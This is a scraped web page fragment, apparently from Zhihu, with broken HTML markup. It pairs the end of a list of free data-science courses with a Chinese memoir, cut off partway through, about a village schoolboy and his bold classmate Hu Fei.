href=&///?target=https%3A//www.edx.org/course/mitx/mitx-15-071x-analytics-edge-ygT62SzIo& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&The Analytics Edge&i class=&icon-external&&&/i&&/a& （100 小时）&br&&ul&&li&An applied understanding of many different analytics methods, including linear regression, logistic regression, CART, clustering, and data visualization&/li&&li&How to implement all of these methods in R&/li&&li&An applied understanding of mathematical optimization and how to solve optimization models in spreadsheet software&/li&&/ul&&br&&br&&b&进阶套餐 - 待更新&/b&
5月10号更新 - 最近太忙，辛苦大家久待了。没想到那么多人....话不多说，上货。 我整理了国外一些靠谱的大数据免费教程，推出一套网络自学攻略。 目前是 Alpha Version， 将逐步翻译，整理，补充 注： 这是非常技术流的教程，涉及大数据处理，编程和统计。…
&p&&b&作为插班生，“我”一直不受同学待见，胡飞是唯一罩着我的人。在我最“懦弱”的时候，碰到了大哥味十足的他，只是因为一件事，我们已经十年没见，“我”也对他怀着十年的愧疚。&/b&&br&&/p&&br&&p&&strong&一&/strong&&/p&&br&&p&小学四年级第一学期上了一半，我从内蒙转学回到宁夏老家的乡村小学。第一天进教室，同学们都用奇异的眼光看我，没人跟我说话。&/p&&br&&p&胡飞是第一个跟我打招呼的人。他看上去瘦瘦的，个子很高，穿着老年款式的衣服，上面打满补丁，腰系一根三尺多长的皮带，一大半垂在屁股后头，上面挂着数不清的钥匙。&/p&&br&&p&他一上来就大着嗓门自我介绍，说我叫胡鹏飞，东坡村的，大家给我起的外号叫“胡飞”，“管球他妈的，你讶（也）可以这么叫我。”没等我接话，他又说你叫撒，阿达（哪里）的，以前在阿达念书，在学校有没有认识的人，没有的话以后我罩着你。&/p&&br&&p&我一开始很羞怯，没敢开口，但见他一脸真诚地瞅了我半天，就简单回答了他。但我并没告诉他这里的人我一个都不认识，因为我觉得那句“以后我罩着你”听上去莫名其妙，我为什么需要人罩着？我看上去很需要被罩着吗？&/p&&br&&p&我的座位在最后一排左墙角，胡飞坐在我前面。他的桌仓里没什么书，全是一些乱七八糟的东西，也不知道是干什么用的。他一有机会就转过来亮着嗓门儿问这问那，一开口全班同学都转头看我，弄得我很烦。&/p&&br&&p&记得第一节数学课上，老师提问后只有胡飞一个人把手举得高高的。我当时很佩服他，觉得他上课不拿书还什么都会。老师再三发问，还是只有他举着手。老师无奈地说那就你来。他霹雳哐啷推开凳子站起来，弄得腰带上的钥匙叮铃铃响。但他什么话都不说，只是张着嘴，瞅着老师傻笑。&/p&&br&&p&奇怪的是老师竟然也不生气，像习惯了一样，笑呵呵地说：“亏你哒（父亲），你还是撒都不会球子么举手干撒，坐哈（下）。”全班一阵笑声。他也不羞不涩，脸上依然带着微笑，从容地拉回凳子坐下，又弄出一阵清脆的钥匙碰撞声。&/p&&br&&p&然后老师继续提问，他继续举手，不过老师没再点他。&/p&&br&&p&我当时很纳闷儿，既然站起来，为什么不回答，如果不会，那又为何举手。&/p&&br&&p&刚一下课他就急忙转过来，伸手拍一下我的肩膀，问我上课感觉怎么样，还适应不，能不能听懂，就像我跟他是很熟的哥们儿一样。&/p&&br&&p&尽管很困惑，我仍装作没事儿一样跟他闲聊。&/p&&br&&p&班上除了胡飞，没什么人愿意跟我说话，大家看我的眼光一直定格在我初进教室时那样。我其实特想和他们打成一片，却从不会刻意跟人寒暄。我的同桌是个女生，几乎从不和我说话。像借橡皮、尺子之类的事，她都找别人。&/p&&br&&p&胡飞每天都找我谝闲（聊天），确切地说是他谝我听，或者他问我回答。有时他问的东西真的很无聊，比如我之前上学的地方怎么样，儿子多还是女子多，内蒙在哪里，出门骑马不，有没有草原，从这里坐车几天能到。还问我觉得班里哪个女子长得心疼。我很不耐烦地瞎回答一通。他总是听得很认真，然后若有所思地砸吧下嘴。&/p&&br&&p&有一天，我实在忍不住，问他为什么上课总举手却不回答。&/p&&br&&p&他说他其实什么都不会。他是直接从二年级开始上的学。当时刚普及九年义务教育，教育局查得紧，为了凑人数，学校苦口婆心劝他老子让他上学，还给了他家一袋大米。他老子本没指望他能学到什么东西，但考虑到那袋稀有的大米，说不如让他先去学校混着，说不定还能凑个媳妇回来。&/p&&br&&p&他年龄偏大，老师觉得放在学前班或一年级太扎眼，索性直接让他从二年级开始。&/p&&br&&p&他说他根本就不想念书，“学那些东西有撒球用”，他是被他老子用赶羊的鞭子逼到学校的。他的梦想是离开这里，去外面的世界当“大哥”，就像黑白电视里演的那样，身穿皮夹克，嘴里叼着烟，身后跟着一群手拿刀枪的兄弟。&/p&&br&&p&他老子之所以放他去学校凑媳妇，而不是去外面，是担心他混成个死狗（二流子），凑不回来媳妇不说，还会到处惹祸。&/p&&br&&p&而他上课一直举手，是不想让大家看不起他，虽然明知不会，但不能当着那么多人的面认怂。他说当大哥最需要一个“勇”字，也防不住就有女子看上他这样的，也好尽快带回家，然后他就解放了。&/p&&br&&p&&strong&二&/strong&&/p&&p&将近一个月之后，还是没人跟我说话。我发现也很少有人跟胡飞搭话，尽管每次他都很主动地扎进人堆，东插一句，西插一句。大家所谝话题无非是谁家的祖坟莫名起火了，谁家的老羝羊（公绵羊）把谁家的骚胡（公山羊）给上了，谁的姐姐在戏场后头被几个死狗给摸了……&/p&&br&&p&大家一见他掺和进来，就立马收起唾沫，四散而开，很扫兴的样子。&/p&&br&&p&尽管他坚持上课举手，但我明显觉得大家还是看不起他。他也不害臊，死皮赖脸围着大家，一看见有人谝闲就插进去，生怕漏掉什么重要信息似的。&/p&&br&&p&我觉得他是找存在感。后来，他偶尔也能静坐下来，低头专心研究腰里的那些钥匙，任我怎么招呼都没反应。我说你整天带着那么多钥匙，不乏吗。他猛然抬起头，两眼放光，说这你娃就不懂了，带着钥匙走路快，说完神秘地一笑。&/p&&br&&p&我不懂他说的带着钥匙走路快是什么意思，想借过来试一试，他立马变脸，说你要撒我都给，就是不能给你试这个，你一试就不灵了。当晚回家，我就把爷爷的那串钥匙拿来试，根本不像他说的那样。&/p&&br&&p&胡飞经常问我班里的某某怎么样，适不适合给他当媳妇。我对他的这种行为感到可笑，也很羞耻。但他谈论起来总是很认真，一本正经地说某某不合适，脸上麻子太多，某某沟子（屁股）太小，生不了娃，某某又太小气，当不成大哥的女人。&/p&&br&&p&一天早晨我见他脸上青一块紫一块，问他怎么了。他说昨天看见五年级驴日的谁在勾搭他媳妇，放学之后他把人家堵住给弄了一哈。我说既然是弄别人，为什么你被打成这样，他说那驴日的野得很，拽着我的皮带把我弄日塌了，看来这个媳妇凑不成了。&/p&&br&&p&我边笑边骂他完怂，他没生气，说等老子当上大哥再给抢回来。&/p&&br&&p&几天后他就换了一个目标。那次他志在必得地说：“我已经去过她家了，她哒（爸）对我很满意，还给我发了一根烟，过几天我就背着大馒头去提亲。”我半信半疑。&/p&&br&&p&他整天混迹在学校里，见人谝闲就掺和进去，只要看见打架的，不问谁对谁错，抽出皮带就跟人家干起来。最后常常是打架的双方联合起来打他。&/p&&br&&p&我问他别人打架你凑撒热闹。他说路见不平拔刀相助，不然以后当了大哥，别人知道后会看不起的。&/p&&br&&p&有时帮人打完架，学校追究的时候，人家会把所有责任都推到他头上。他也不解释，该挨骂挨骂，该罚站罚站，偶尔难免被老师棍棒教育，可事情过后该咋样还是咋样。&/p&&br&&p&他说一天晚上跟他老子睡在一起，梦见被几个死狗堵在放学的路上，对方手里都拿着家当。他说那一架打得最痛快，他赤手空拳，左抡右扫，不消几个回合就把狗日的全打趴下。就当他在梦里志得意满的时候，被他老子一个大耳刮子扇醒，醒来后才发现他老子的一颗门牙被他一拳打掉了。&/p&&br&&p&我听后笑得肚子疼，问他是真的做梦还是假装的，他半带调侃地说虽然恨他老子，但还不敢那么弄。当天夜里，他光着沟子被他老子提棍追着满村跑。&/p&&br&&p&&br&图 | 我的老家&/p&&br&&p&&strong&三&/strong&&/p&&p&四年级下学期的时候，我无意招惹了五年级的一个男生。他带着一帮人强行把我拉到操场后面的墙背后，往我身上撒尿。我打不过，又跑不掉，就忍了下来。&/p&&br&&p&那人见我老实，又欺负了我几次。&/p&&br&&p&我突然想起进校第一天胡飞对我说的话。莫非，这就是我需要被人罩着的原因？&/p&&br&&p&我偷偷把这件事告诉了他。他二话不说，直接跑到五年级门口，连喊带骂，说让那驴日的谁滚出来，老子要替兄弟报仇。我吓得浑身发抖，躲